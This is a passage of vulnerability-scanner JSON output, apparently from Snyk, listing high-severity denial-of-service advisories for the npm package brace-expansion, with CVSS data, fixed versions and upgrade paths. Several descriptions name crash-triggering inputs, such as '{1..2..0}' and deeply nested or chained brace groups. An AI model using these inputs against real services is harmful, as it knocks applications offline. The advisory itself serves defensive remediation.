"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
